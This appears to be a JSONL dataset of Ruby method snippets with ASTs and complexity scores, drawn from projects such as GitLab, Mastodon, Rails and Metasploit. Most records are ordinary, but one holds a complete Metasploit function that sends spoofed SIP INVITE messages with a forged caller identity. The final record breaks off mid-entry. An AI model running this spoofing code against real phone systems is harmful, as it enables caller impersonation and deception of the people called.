{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/session.rb","start_line":67,"raw_source":"def raw_data\n    Marshal.load(Base64.decode64(data.split(\"\\n\").join))\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"decode64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"join\"]}]}]}]}","id":"9925be3d-292a-42f7-b2c0-663a6fdbc37d"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/tags/cycle.rb","start_line":59,"raw_source":"def rigid_parse(markup)\n      p = @parse_context.new_parser(markup)\n\n      @variables = []\n\n      raise SyntaxError, options[:locale].t(\"errors.syntax.cycle\") if p.look(:end_of_string)\n\n      first_expression = safe_parse_expression(p)\n      if p.look(:colon)\n        # cycle name: expr1, expr2, ...\n        @name = first_expression\n        @is_named = true\n        p.consume(:colon)\n        # After the colon, parse the first variable (required for named cycles)\n        @variables << maybe_dup_lookup(safe_parse_expression(p))\n      else\n        # cycle expr1, expr2, ...\n        @variables << maybe_dup_lookup(first_expression)\n      end\n\n      # Parse remaining comma-separated expressions\n      while p.consume?(:comma)\n        break if p.look(:end_of_string)\n\n        @variables << maybe_dup_lookup(safe_parse_expression(p))\n      end\n\n      p.consume(:end_of_string)\n\n      unless @is_named\n        @name = @variables.to_s\n        @is_named = !@name.match?(UNNAMED_CYCLE_PATTERN)\n      end\n    end","complexity_score":41.7,"ast_json":"{\"type\":\"def\",\"children\":[\"rigid_parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"markup\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parse_context\"]},\"new_parser\",{\"type\":\"lvar\",\"children\":[\"markup\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@variables\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"look\",{\"type\":\"sym\",\"children\":[\"end_of_string\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locale\"]}]},\"t\",{\"type\":\"str\",\"children\":[\"errors.syntax.cycle\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"first_expression\",{\"type\":\"send\",\"children\":[null,\"safe_parse_expression\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"look\",{\"type\":\"sym\",\"children\":[\"colon\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"first_expression\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@is_named\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"consume\",{\"type\":\"sym\",\"children\":[\"colon\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@variables\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"maybe_dup_lookup\",{\"type\":\"send\",\"children\":[null,\"safe_parse_expression\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@variables\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"maybe_dup_lookup\",{\"type\":\"lvar\",\"children\":[\"first_expression\"]}]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"consume?\",{\"type\":\"sym\",\"children\":[\"comma\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"look\",{\"type\":\"sym\",\"children\":[\"end_of_string\"]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@variables\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"maybe_dup_lookup\",{\"type\":\"send\",\"children\":[null,\"safe_parse_expression\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"consume\",{\"type\":\"sym\",\"children\":[\"end_of_string\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@is_named\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@variables\"]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@is_named\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"UNNAMED_CYCLE_PATTERN\"]}]},\"!\"]}]}]}]}]}]}","id":"f6046174-247d-4f0d-bb1b-c124d4603432"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/terraform_module/metadata/parse_hcl_file_service.rb","start_line":91,"raw_source":"def finalize_current_block\n          return if block_data.empty?\n\n          clean_block_data\n          store_block_data\n          reset_block_state\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"finalize_current_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_data\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"clean_block_data\"]},{\"type\":\"send\",\"children\":[null,\"store_block_data\"]},{\"type\":\"send\",\"children\":[null,\"reset_block_state\"]}]}]}","id":"5bc58610-2d08-44cc-9d36-adf4c3d881b3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/dependency_proxy_for_containers_controller.rb","start_line":149,"raw_source":"def image\n    permitted_params[:image]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"image\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"image\"]}]}]}","id":"6d85386e-8750-4178-b01b-99b43dc9d2ad"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/gather/hashdump.rb","start_line":152,"raw_source":"def lion?\n    ver_num =~ /10\\.(\\d+)/ and ::Regexp.last_match(1).to_i == 7\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"lion?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ver_num\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"10\\\\.(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[7]}]}]}]}","id":"aadf7266-1701-4891-91e8-996dffdf3592"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/voip/sip_invite_spoof.rb","start_line":47,"raw_source":"def run_host(ip)\n    name = datastore['MSG']\n    src = datastore['SRCADDR']\n    ext = datastore['EXTENSION']\n    dom = datastore['DOMAIN']\n    sphost = datastore['SIP_PROXY_NAME']\n    spport = datastore['SIP_PROXY_PORT'] || 5060\n    conn_string = ''\n\n    if !ext.nil? && !ext.empty?\n      # set extension name/number\n      conn_string = \"#{ext}@\"\n    end\n\n    if !dom.nil? && !dom.empty?\n      # set domain\n      conn_string << dom.to_s\n    else\n      conn_string << ip.to_s\n    end\n\n    # set Route header if SIP_PROXY is set\n    if !sphost.nil? && !sphost.empty?\n      route = \"Route: <sip:#{sphost}:#{spport};lr>\\r\\n\"\n    end\n\n    connect_udp\n\n    print_status(\"Sending Fake SIP Invite to: #{conn_string}\")\n    print_status(\"Using SIP proxy #{sphost}:#{spport}\") if route\n\n    req = \"INVITE sip:#{conn_string} SIP/2.0\" + \"\\r\\n\"\n    # add Route: header to req if SIP_PROXY is set\n    req << route if route\n    req << \"To: <sip:#{conn_string}>\" + \"\\r\\n\"\n    req << \"Via: SIP/2.0/UDP #{ip}\" + \"\\r\\n\"\n    req << \"From: \\\"#{name}\\\"<sip:#{src}>\" + \"\\r\\n\"\n    req << \"Call-ID: #{rand(100..199)}#{ip}\" + \"\\r\\n\"\n    req << 'CSeq: 1 INVITE' + \"\\r\\n\"\n    req << 'Max-Forwards: 20' + \"\\r\\n\"\n    req << \"Contact: <sip:#{conn_string}>\" + \"\\r\\n\\r\\n\"\n\n    udp_sock.put(req)\n    disconnect_udp\n  rescue Errno::EACCES => e\n    vprint_error(e.message)\n  end","complexity_score":95.83,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MSG\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"src\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRCADDR\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ext\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXTENSION\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dom\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sphost\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SIP_PROXY_NAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"spport\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SIP_PROXY_PORT\"]}]},{\"type\":\"int\",\"children\":[5060]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conn_string\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"conn_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]}]},{\"type\":\"str\",\"children\":[\"@\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dom\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dom\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_string\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dom\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_string\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sphost\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sphost\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"route\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Route: <sip:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sphost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spport\"]}]},{\"type\":\"str\",\"children\":[\";lr>\\r\\n\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"connect_udp\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending Fake SIP Invite to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_string\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using SIP proxy \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sphost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spport\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INVITE sip:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_string\"]}]},{\"type\":\"str\",\"children\":[\" SIP/2.0\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"route\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"To: <sip:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_string\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Via: SIP/2.0/UDP \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"From: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"<sip:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Call-ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[100]},{\"type\":\"int\",\"children\":[199]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"CSeq: 1 INVITE\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Max-Forwards: 20\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Contact: <sip:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_string\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"req\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect_udp\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EACCES\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}","id":"90d18a92-9a9d-4add-9b59-521fc5b8e9b1"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/active_record/chat_methods.rb","start_line":112,"raw_source":"def with_model(model_name, provider: nil, assume_exists: false)\n        self.model = model_name\n        self.provider = provider if provider\n        self.assume_model_exists = assume_exists\n        resolve_model_from_strings\n        save!\n        to_llm.with_model(model.model_id, provider: model.provider.to_sym, assume_exists:)\n        self\n      end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"with_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"provider\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"assume_exists\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"model=\",{\"type\":\"lvar\",\"children\":[\"model_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"provider=\",{\"type\":\"lvar\",\"children\":[\"provider\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"assume_model_exists=\",{\"type\":\"lvar\",\"children\":[\"assume_exists\"]}]},{\"type\":\"send\",\"children\":[null,\"resolve_model_from_strings\"]},{\"type\":\"send\",\"children\":[null,\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_llm\"]},\"with_model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"model_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"provider\"]},\"to_sym\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assume_exists\"]},{\"type\":\"lvar\",\"children\":[\"assume_exists\"]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"96b0330c-737b-4293-91d3-2b6691231ef6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/account_serializer.rb","start_line":139,"raw_source":"def memorial\n    object.memorial?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"memorial\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"memorial?\"]}]}","id":"c4fad2aa-4255-41d5-8862-c65ecde42fc0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/color_modes.rb","start_line":16,"raw_source":"def self.available_modes\n      [\n        Mode.new(APPLICATION_LIGHT, s_('ColorMode|Light'), 'gl-light'),\n        Mode.new(APPLICATION_DARK, s_('ColorMode|Dark'), 'gl-dark'),\n        Mode.new(APPLICATION_SYSTEM, s_('ColorMode|Auto'), 'gl-system')\n      ]\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_modes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mode\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"APPLICATION_LIGHT\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"ColorMode|Light\"]}]},{\"type\":\"str\",\"children\":[\"gl-light\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mode\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"APPLICATION_DARK\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"ColorMode|Dark\"]}]},{\"type\":\"str\",\"children\":[\"gl-dark\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mode\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"APPLICATION_SYSTEM\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"ColorMode|Auto\"]}]},{\"type\":\"str\",\"children\":[\"gl-system\"]}]}]}]}","id":"63ebec3f-5bc2-4cea-9aa7-4cabe8e36e51"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/parser.rb","start_line":867,"raw_source":"def block_opened?\n      @next_line.tabs > @line.tabs\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"block_opened?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@next_line\"]},\"tabs\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@line\"]},\"tabs\"]}]}]}","id":"7795fdb1-b0c7-40e3-9412-597ba25a3c59"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/domain_allows_controller.rb","start_line":25,"raw_source":"def destroy\n    authorize @domain_allow, :destroy?\n    UnallowDomainService.new.call(@domain_allow)\n    log_action :destroy, @domain_allow\n\n    redirect_to admin_instances_path, notice: I18n.t('admin.domain_allows.destroyed_msg')\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@domain_allow\"]},{\"type\":\"sym\",\"children\":[\"destroy?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnallowDomainService\"]},\"new\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@domain_allow\"]}]},{\"type\":\"send\",\"children\":[null,\"log_action\",{\"type\":\"sym\",\"children\":[\"destroy\"]},{\"type\":\"ivar\",\"children\":[\"@domain_allow\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_instances_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.domain_allows.destroyed_msg\"]}]}]}]}]}]}]}","id":"173a0c66-3987-4bfe-83ca-c397d908b087"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb","start_line":286,"raw_source":"def redis_ttl(key)\n      with_redis { |redis| redis.ttl(key) }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_ttl\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"ttl\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"e3109a38-2e0d-4aad-8617-1ee1ce0e206b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":1010,"raw_source":"def test_last\n    authors = Author.all\n    assert_equal authors(:bob), authors.last\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_last\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authors\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"all\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"bob\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authors\"]},\"last\"]}]}]}]}","id":"a2247d9f-d844-418d-b58b-5e27bec10dbd"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/form_template.rb","start_line":90,"raw_source":"def has_preview_modal?\n        find(\".form-template-form-preview-modal\").present?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_preview_modal?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".form-template-form-preview-modal\"]}]},\"present?\"]}]}","id":"d166a01c-6dca-4ee2-b456-c4d2f06c4887"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/comments_controller.rb","start_line":259,"raw_source":"def admin_delete\n    @comment = Comment.find(params[:comment_id])\n    authorize @comment\n    @comment.deleted = true\n\n    if @comment.save\n      redirect_url = @comment.commentable&.path\n      if redirect_url\n        flash[:success] = I18n.t(\"comments_controller.delete.notice\")\n        redirect_to Addressable::URI.parse(redirect_url).path\n      else\n        redirect_to_comment_path\n      end\n    else\n      redirect_to_comment_path\n    end\n  end","complexity_score":25.1,"ast_json":"{\"type\":\"def\",\"children\":[\"admin_delete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@comment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"comment_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@comment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comment\"]},\"deleted=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comment\"]},\"save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"redirect_url\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comment\"]},\"commentable\"]},\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redirect_url\"]},{\"type\":\"begin\",\"children\":[{